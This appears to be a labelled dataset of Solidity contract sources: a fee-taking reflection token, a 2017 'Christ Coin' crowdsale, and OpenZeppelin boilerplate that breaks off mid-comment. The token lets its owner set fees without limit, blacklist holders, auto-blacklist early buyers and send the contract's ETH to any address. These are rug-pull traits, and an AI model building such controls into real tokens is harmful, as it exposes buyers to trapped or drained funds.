rSupply -= _rOwned[_excluded[i]];
tSupply -= _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (liqAddedBlockNumber == 0 && isAutomatedMarketMakerPair[to]) {
liqAddedBlockNumber = block.number;
}
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!isBot[from], "ERC20: address blacklisted (bot)");
require(amount > 0, "Transfer amount must be greater than zero");
require(
amount <= balanceOf(from),
"You are trying to transfer more than your balance"
);
bool takeFee = !(_isExcludedFromFee[from] || _isExcludedFromFee[to]);
if (takeFee) {
if (isAutomatedMarketMakerPair[from]) {
if (block.number < liqAddedBlockNumber + blocksToWait) {
isBot[to] = true;
emit BlacklistedUser(to, true);
}
appliedRates = buyRates;
require(
amount <= maxTxAmountBuy,
"amount must be <= maxTxAmountBuy"
);
} else {
appliedRates = sellRates;
require(
amount <= maxTxAmountSell,
"amount must be <= maxTxAmountSell"
);
}
}
if (
balanceOf(address(this)) >= numTokensSellToAddToLiquidity &&
!inSwapAndLiquify &&
!isAutomatedMarketMakerPair[from] &&
swapAndLiquifyEnabled
) {
//add liquidity
swapAndLiquify(numTokensSellToAddToLiquidity);
}
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee
) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender]) {
_tOwned[sender] -= tAmount;
}
if (_isExcluded[recipient]) {
_tOwned[recipient] += s.tTransferAmount;
}
_rOwned[sender] -= s.rAmount;
_rOwned[recipient] += s.rTransferAmount;
if (takeFee) {
_reflectRfi(s.rRfi, s.tRfi);
_takeToSwap(s.rToSwap, s.tToSwap);
emit Transfer(sender, address(this), s.tToSwap);
}
require(
_isExcludedFromMaxWallet[recipient] ||
balanceOf(recipient) <= maxWalletAmount,
"Recipient cannot hold more than maxWalletAmount"
);
emit Transfer(sender, recipient, s.tTransferAmount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 denominator = appliedRates.toSwap * 2;
uint256 tokensToAddLiquidityWith = (contractTokenBalance *
appliedRates.lp) / denominator;
uint256 toSwap = contractTokenBalance - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 ETHToAddLiquidityWith = (deltaBalance * appliedRates.lp) /
(denominator - appliedRates.lp);
// add liquidity
addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
// we give the remaining tax to dev & treasury wallets
uint256 remainingBalance = address(this).balance;
uint256 devFee = (remainingBalance * appliedRates.dev) /
(denominator - appliedRates.dev);
uint256 treasuryFee = (remainingBalance * appliedRates.treasury) /
(denominator - appliedRates.treasury);
devAddress.sendValue(devFee);
treasuryAddress.sendValue(treasuryFee);
}
function swapTokensForETH(uint256 tokenAmount) private {
// generate the pair path of token
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniswapV2Router.WETH();
if (allowance(address(this), address(UniswapV2Router)) < tokenAmount) {
_approve(address(this), address(UniswapV2Router), ~uint256(0));
}
// make the swap
UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
// add the liquidity
UniswapV2Router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
devAddress,
block.timestamp
);
emit LiquidityAdded(tokenAmount, ETHAmount);
}
function setAutomatedMarketMakerPair(address _pair, bool value)
external
onlyOwner
{
require(
isAutomatedMarketMakerPair[_pair] != value,
"Automated market maker pair is already set to that value"
);
isAutomatedMarketMakerPair[_pair] = value;
if (value) {
_isExcludedFromMaxWallet[_pair] = true;
emit ExcludeFromMaxWallet(_pair, value);
}
emit SetAutomatedMarketMakerPair(_pair, value);
}
function setBuyFees(
uint8 _rfi,
uint8 _treasury,
uint8 _dev,
uint8 _lp
) external onlyOwner {
buyRates.rfi = _rfi;
buyRates.treasury = _treasury;
buyRates.dev = _dev;
buyRates.lp = _lp;
buyRates.toSwap = _treasury + _dev + _lp;
}
function setSellFees(
uint8 _rfi,
uint8 _treasury,
uint8 _dev,
uint8 _lp
) external onlyOwner {
sellRates.rfi = _rfi;
sellRates.treasury = _treasury;
sellRates.dev = _dev;
sellRates.lp = _lp;
sellRates.toSwap = _treasury + _dev + _lp;
}
function setMaxTransactionAmount(
uint256 _maxTxAmountBuyPct,
uint256 _maxTxAmountSellPct
) external onlyOwner {
maxTxAmountBuy = _tTotal / _maxTxAmountBuyPct; // 100 = 1%, 50 = 2% etc.
maxTxAmountSell = _tTotal / _maxTxAmountSellPct; // 100 = 1%, 50 = 2% etc.
}
function setNumTokensSellToAddToLiq(uint256 amountTokens)
external
onlyOwner
{
numTokensSellToAddToLiquidity = amountTokens * 10**_decimals;
}
function setTreasuryAddress(address payable _treasuryAddress)
external
onlyOwner
{
treasuryAddress = _treasuryAddress;
}
function setDevAddress(address payable _devAddress) external onlyOwner {
devAddress = _devAddress;
}
function manualSwapAll() external onlyOwner {
swapAndLiquify(balanceOf(address(this)));
}
// percent of outstanding token
function manualSwapPercentage(uint256 tokenpercentage, address toAddress) external onlyOwner {
tokenstosell = (balanceOf(address(this))*tokenpercentage)/1000;
swapTokensForETH(tokenstosell);
wAddress = payable(toAddress);
ttk = address(this).balance;
wAddress.sendValue(ttk);
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
treasuryAddress.sendValue(weiAmount);
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
// Blacklist or Unblacklist bots or sniper
function blacklistSniper(address botAddress, bool isban) external onlyOwner {
isBot[botAddress] = isban;
}
function setMaxWalletAmount(uint256 _maxWalletAmountPct) external onlyOwner {
maxWalletAmount = _tTotal / _maxWalletAmountPct; // 100 = 1%, 50 = 2% etc.
emit MaxWalletAmountUpdated(maxWalletAmount);
}
function excludeFromMaxWallet(address account, bool excluded)
external
onlyOwner
{
require(
_isExcludedFromMaxWallet[account] != excluded,
"_isExcludedFromMaxWallet already set to that value"
);
_isExcludedFromMaxWallet[account] = excluded;
emit ExcludeFromMaxWallet(account, excluded);
}
} | True | [
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] |
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Finalizable is Ownable {
bool public contractFinalized;
modifier notFinalized() {
require(!contractFinalized);
_;
}
function finalizeContract() onlyOwner {
contractFinalized = true;
}
}
contract Shared is Ownable, Finalizable {
uint internal constant DECIMALS = 8;
address internal constant REWARDS_WALLET = 0x30b002d3AfCb7F9382394f7c803faFBb500872D8;
address internal constant FRIENDS_FAMILY_WALLET = 0xd328eF879f78cDa773a3dFc79B4e590f20C22223;
address internal constant CROWDSALE_WALLET = 0x028e1Ce69E379b1678278640c7387ecc40DAa895;
address internal constant LIFE_CHANGE_WALLET = 0xEe4284f98D0568c7f65688f18A2F74354E17B31a;
address internal constant LIFE_CHANGE_VESTING_WALLET = 0x2D354bD67707223C9aC0232cd0E54f22b03483Cf;
}
contract Controller is Shared, Pausable {
using SafeMath for uint;
bool public initialized;
ChristCoin public token;
Ledger public ledger;
address public crowdsale;
uint public vestingAmount;
uint public vestingPaid;
uint public vestingStart;
uint public vestingDuration;
function Controller(address _token, address _ledger, address _crowdsale) {
token = ChristCoin(_token);
ledger = Ledger(_ledger);
crowdsale = _crowdsale;
}
function setToken(address _address) onlyOwner notFinalized {
token = ChristCoin(_address);
}
function setLedger(address _address) onlyOwner notFinalized {
ledger = Ledger(_address);
}
function setCrowdsale(address _address) onlyOwner notFinalized {
crowdsale = _address;
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
modifier onlyTokenOrCrowdsale() {
require(msg.sender == address(token) || msg.sender == crowdsale);
_;
}
modifier notVesting() {
require(msg.sender != LIFE_CHANGE_VESTING_WALLET);
_;
}
function init() onlyOwner {
require(!initialized);
mintWithEvent(REWARDS_WALLET, 9 * (10 ** (9 + DECIMALS))); // 9 billion
mintWithEvent(FRIENDS_FAMILY_WALLET, 75 * (10 ** (6 + DECIMALS))); // 75 million
mintWithEvent(CROWDSALE_WALLET, 825 * (10 ** (6 + DECIMALS))); // 825 million
mintWithEvent(LIFE_CHANGE_WALLET, 100 * (10 ** (6 + DECIMALS))); // 100 million
initialized = true;
}
function totalSupply() onlyToken constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _owner) onlyTokenOrCrowdsale constant returns (uint) {
return ledger.balanceOf(_owner);
}
function allowance(address _owner, address _spender) onlyToken constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
function transfer(address _from, address _to, uint _value) onlyToken notVesting whenNotPaused returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferWithEvent(address _from, address _to, uint _value) onlyCrowdsale returns (bool success) {
success = ledger.transfer(_from, _to, _value);
if (success) {
token.controllerTransfer(msg.sender, _to, _value);
}
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken notVesting whenNotPaused returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken notVesting whenNotPaused returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function burn(address _owner, uint _amount) onlyToken whenNotPaused returns (bool success) {
return ledger.burn(_owner, _amount);
}
function mintWithEvent(address _to, uint _amount) internal returns (bool success) {
success = ledger.mint(_to, _amount);
if (success) {
token.controllerTransfer(0x0, _to, _amount);
}
}
function startVesting(uint _amount, uint _duration) onlyCrowdsale {
require(vestingAmount == 0);
vestingAmount = _amount;
vestingPaid = 0;
vestingStart = now;
vestingDuration = _duration;
}
function withdrawVested(address _withdrawTo) returns (uint amountWithdrawn) {
require(msg.sender == LIFE_CHANGE_VESTING_WALLET);
require(vestingAmount > 0);
uint _elapsed = now.sub(vestingStart);
uint _rate = vestingAmount.div(vestingDuration);
uint _unlocked = _rate.mul(_elapsed);
if (_unlocked > vestingAmount) {
_unlocked = vestingAmount;
}
if (_unlocked <= vestingPaid) {
amountWithdrawn = 0;
return;
}
amountWithdrawn = _unlocked.sub(vestingPaid);
vestingPaid = vestingPaid.add(amountWithdrawn);
ledger.transfer(LIFE_CHANGE_VESTING_WALLET, _withdrawTo, amountWithdrawn);
token.controllerTransfer(LIFE_CHANGE_VESTING_WALLET, _withdrawTo, amountWithdrawn);
}
}
contract Ledger is Shared {
using SafeMath for uint;
address public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowed;
uint public totalSupply;
function setController(address _address) onlyOwner notFinalized {
controller = _address;
}
modifier onlyController() {
require(msg.sender == controller);
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
var _allowance = allowed[_from][_spender];
balanceOf[_to] = balanceOf[_to].add(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowed[_from][_spender] = _allowance.sub(_value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
require((_value == 0) || (allowed[_owner][_spender] == 0));
allowed[_owner][_spender] = _value;
return true;
}
function allowance(address _owner, address _spender) onlyController constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function burn(address _from, uint _amount) onlyController returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
return true;
}
function mint(address _to, uint _amount) onlyController returns (bool success) {
balanceOf[_to] += _amount;
totalSupply += _amount;
return true;
}
}
contract ChristCoin is Shared {
using SafeMath for uint;
string public name = "Christ Coin";
string public symbol = "CCLC";
uint8 public decimals = 8;
Controller public controller;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function setController(address _address) onlyOwner notFinalized {
controller = Controller(_address);
}
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function balanceOf(address _owner) constant returns (uint) {
return controller.balanceOf(_owner);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function transfer(address _to, uint _value) returns (bool success) {
success = controller.transfer(msg.sender, _to, _value);
if (success) {
Transfer(msg.sender, _to, _value);
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
success = controller.transferFrom(msg.sender, _from, _to, _value);
if (success) {
Transfer(_from, _to, _value);
}
}
function approve(address _spender, uint _value) returns (bool success) {
success = controller.approve(msg.sender, _spender, _value);
if (success) {
Approval(msg.sender, _spender, _value);
}
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function burn(uint _amount) onlyOwner returns (bool success) {
success = controller.burn(msg.sender, _amount);
if (success) {
Transfer(msg.sender, 0x0, _amount);
}
}
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApproval(address _from, address _spender, uint _value) onlyController {
Approval(_from, _spender, _value);
}
}
contract Crowdsale is Shared, Pausable {
using SafeMath for uint;
uint public constant START = 1506945600; // October 2, 2017 7:00:00 AM CST
uint public constant END = 1512133200; // December 1, 2017 7:00:00 AM CST
uint public constant CAP = 375 * (10 ** (6 + DECIMALS)); // 375 million tokens
uint public weiRaised;
uint public tokensDistributed;
uint public bonusTokensDistributed;
bool public crowdsaleFinalized;
Controller public controller;
Round[] public rounds;
Round public currentRound;
struct Round {
uint index;
uint endAmount;
uint rate;
uint incentiveDivisor;
}
struct Purchase {
uint tokens;
uint bonus;
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount);
function Crowdsale() {
require(END >= START);
rounds.push(Round(0, 75 * (10 ** (6 + DECIMALS)), 106382978723404, 10));
rounds.push(Round(1, 175 * (10 ** (6 + DECIMALS)), 212765957446808, 0));
rounds.push(Round(2, 375 * (10 ** (6 + DECIMALS)), 319148936170213, 0));
currentRound = rounds[0];
}
function setController(address _address) onlyOwner {
controller = Controller(_address);
}
function () payable whenNotPaused {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable whenNotPaused {
require(_beneficiary != 0x0);
require(validPurchase());
processPurchase(msg.sender, _beneficiary, msg.value);
LIFE_CHANGE_WALLET.transfer(msg.value);
}
function processPurchase(address _from, address _beneficiary, uint _weiAmount) internal returns (Purchase purchase) {
purchase = getPurchase(_weiAmount, tokensDistributed);
require(tokensDistributed.add(purchase.tokens) <= CAP);
uint _tokensWithBonus = purchase.tokens.add(purchase.bonus);
bonusTokensDistributed = bonusTokensDistributed.add(purchase.bonus);
tokensDistributed = tokensDistributed.add(purchase.tokens);
weiRaised = weiRaised.add(_weiAmount);
controller.transferWithEvent(CROWDSALE_WALLET, _beneficiary, _tokensWithBonus);
TokenPurchase(_from, _beneficiary, _weiAmount, _tokensWithBonus);
}
function getPurchase(uint _weiAmount, uint _tokensDistributed) internal returns (Purchase purchase) {
uint _roundTokensRemaining = currentRound.endAmount.sub(_tokensDistributed);
uint _roundWeiRemaining = _roundTokensRemaining.mul(currentRound.rate).div(10 ** DECIMALS);
uint _tokens = _weiAmount.div(currentRound.rate).mul(10 ** DECIMALS);
uint _incentiveDivisor = currentRound.incentiveDivisor;
if (_tokens <= _roundTokensRemaining) {
purchase.tokens = _tokens;
if (_incentiveDivisor > 0) {
purchase.bonus = _tokens.div(_incentiveDivisor);
}
} else {
currentRound = rounds[currentRound.index + 1];
uint _roundBonus = 0;
if (_incentiveDivisor > 0) {
_roundBonus = _roundTokensRemaining.div(_incentiveDivisor);
}
purchase = getPurchase(_weiAmount.sub(_roundWeiRemaining), _tokensDistributed.add(_roundTokensRemaining));
purchase.tokens = purchase.tokens.add(_roundTokensRemaining);
purchase.bonus = purchase.bonus.add(_roundBonus);
}
}
function validPurchase() internal constant returns (bool) {
bool notAtCap = tokensDistributed < CAP;
bool nonZeroPurchase = msg.value != 0;
bool withinPeriod = now >= START && now <= END;
return notAtCap && nonZeroPurchase && withinPeriod;
}
function hasEnded() constant returns (bool) {
return crowdsaleFinalized || tokensDistributed == CAP || now > END;
}
function finalizeCrowdsale() onlyOwner {
require(!crowdsaleFinalized);
require(hasEnded());
uint _toVest = controller.balanceOf(CROWDSALE_WALLET);
if (tokensDistributed == CAP) {
_toVest = _toVest.sub(CAP.div(4)); // 25% bonus to token holders if sold out
}
controller.transferWithEvent(CROWDSALE_WALLET, LIFE_CHANGE_VESTING_WALLET, _toVest);
controller.startVesting(_toVest, 7 years);
crowdsaleFinalized = true;
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
